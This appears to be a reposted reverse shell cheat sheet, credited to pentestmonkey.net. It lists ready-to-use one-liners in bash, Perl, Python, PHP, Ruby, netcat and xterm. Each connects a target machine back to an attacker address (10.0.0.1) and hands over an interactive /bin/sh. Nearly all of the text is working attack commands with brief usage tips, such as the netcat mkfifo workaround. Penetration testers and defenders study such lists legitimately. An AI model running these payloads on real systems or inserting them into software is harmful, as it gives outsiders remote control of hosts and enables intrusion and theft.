Reverse Shell Cheat Sheet

多个反向shell集合。

Bash
Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
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PERL
Here’s a shorter, feature-free version of the perl-reverse-shell:

perl -e ‘use Socket;$i=”10.0.0.1″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
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Python
This was tested under Linux / Python 2.7:

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.0.1″,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
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PHP
This code assumes that the TCP connection uses file descriptor 3.  This worked on my test system.  If it doesn’t work, try 4, 5, 6…

php -r ‘$sock=fsockopen(“10.0.0.1″,1234);exec(“/bin/sh -i <&3 >&3 2>&3″);’
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Ruby

ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1″,1234).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’
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Netcat
Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.

nc -e /bin/sh 10.0.0.1 1234

If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
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xterm
One of the simplest forms of reverse shell is an xterm session.  The following command should be run on the server.  It will try to connect back to you (10.0.0.1) on TCP port 6001.

xterm -display 10.0.0.1:1

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001).  One way to do this is with Xnest (to be run on your system):

Xnest :1

You’ll need to authorise the target to connect to you (command also run on your host):

xhost +targetip

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http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

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